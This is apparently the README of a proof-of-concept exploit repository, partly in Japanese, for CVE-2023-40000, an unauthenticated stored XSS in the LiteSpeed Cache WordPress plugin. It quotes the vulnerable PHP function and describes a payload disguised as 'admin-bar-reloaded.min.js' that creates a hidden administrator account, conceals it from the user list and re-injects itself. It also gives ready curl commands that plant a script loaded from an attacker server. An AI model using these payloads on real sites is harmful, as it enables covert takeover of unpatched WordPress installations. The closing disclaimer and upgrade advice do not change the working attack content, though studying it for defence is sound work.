
LiteSpeed Cache WordPressプラグインのXSS脆弱性(CVE-2023-40000)を利用したPoCで、権限昇格を許可します。コード、説明、緩和策を含みます。
PoC for XSS vulnerability in the LiteSpeed Cache WordPress plugin allowing elevated privileges. This vulnerability was fixed in version 5.7.0.1 of the plugin, and was assigned CVE-2023-40000. According to the plugin's advanced view page, about 35% of users are still using a vulnerable version (<5.7.0.1), which adds up to about 1.8M websites.
update_cdn_status関数における入力サニタイズの欠如により、(認証されていない)ユーザーが感染した_msgフォーム値を含むPOSTリクエストを送信でき、その値が保存され、WordPressの管理画面に表示されます。これにより、認証されていないPOSTリクエストを1回送信するだけで、誰でも管理者アカウントを作成したり、権限を昇格させたり、機密情報を盗んだりすることが可能になります。脆弱な関数はこちらまたは以下にあり、Admin_Display::error関数はこちらにあります。
/**
* Callback for updating Auto CDN Setup status after run
*
* @since 4.7
* @access public
*/
public function update_cdn_status() {
if ( !isset( $_POST[ 'success' ] ) || !isset( $_POST[ 'result' ] ) ) {
self::save_summary( array( 'cdn_setup_err' => __( 'Received invalid message from the cloud server. Please submit a ticket.', 'litespeed-cache' ) ) );
return self::err( 'lack_of_param' );
}
if (!$_POST[ 'success' ]) {
self::save_summary( array( 'cdn_setup_err' => $_POST[ 'result' ][ '_msg' ] ) );
Admin_Display::error( __( 'There was an error during CDN setup: ', 'litespeed-cache' ) . $_POST[ 'result' ][ '_msg' ] );
} else {
$this->_process_cdn_status($_POST[ 'result' ]);
}
return self::ok();
}
このリポジトリに含まれる実証コードは、NodeJSのExpressサーバーで構成されており、XSSペイロードを難読化して配信すると同時に、着信するpingやデータをキャプチャするよう設計されています。ペイロードスクリプトは、この脆弱性を悪用する攻撃者が取る可能性のあるアクションを示しています。具体的には、ユーザー名「wp-config-user」、パスワード「somepassword123」の管理者アカウントを作成します。admin-bar-reloaded.minとして偽装されたXSSペイロードは、読み込み時に初期のXSSポップアップを非表示にし、users.php管理ページで作成されたユーザーを完全に隠し、永続的なストアドXSSを維持するために最初のPOSTリクエストを繰り返します。
npm installを実行して依存関係をインストールします。node index.jsでサーバーを起動します。次のcURLコマンドを使用して、脆弱なエンドポイントにPOSTリクエストを送信します:
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
curl -X POST "https://target.website/wordpress/wp-json/litespeed/v1/cdn_status" ^
-H "Content-Type: application/x-www-form-urlencoded" ^
-d "success=0&result[_msg]=<script src=https://your.server/admin-bar-reloaded.min.js></script>"
このリポジトリの内容は、教育および研究目的でのみ提供されています。本実証コードの使用に起因するいかなる誤用や違法行為についても、私は責任を負いません。さらに、この既知の脆弱性のために、LiteSpeed Cacheプラグインページですべてのユーザーにソフトウェアの更新を促す警告が発行されています。この問題を軽減するために、インストールをバージョン5.7.0.1以降に更新してください。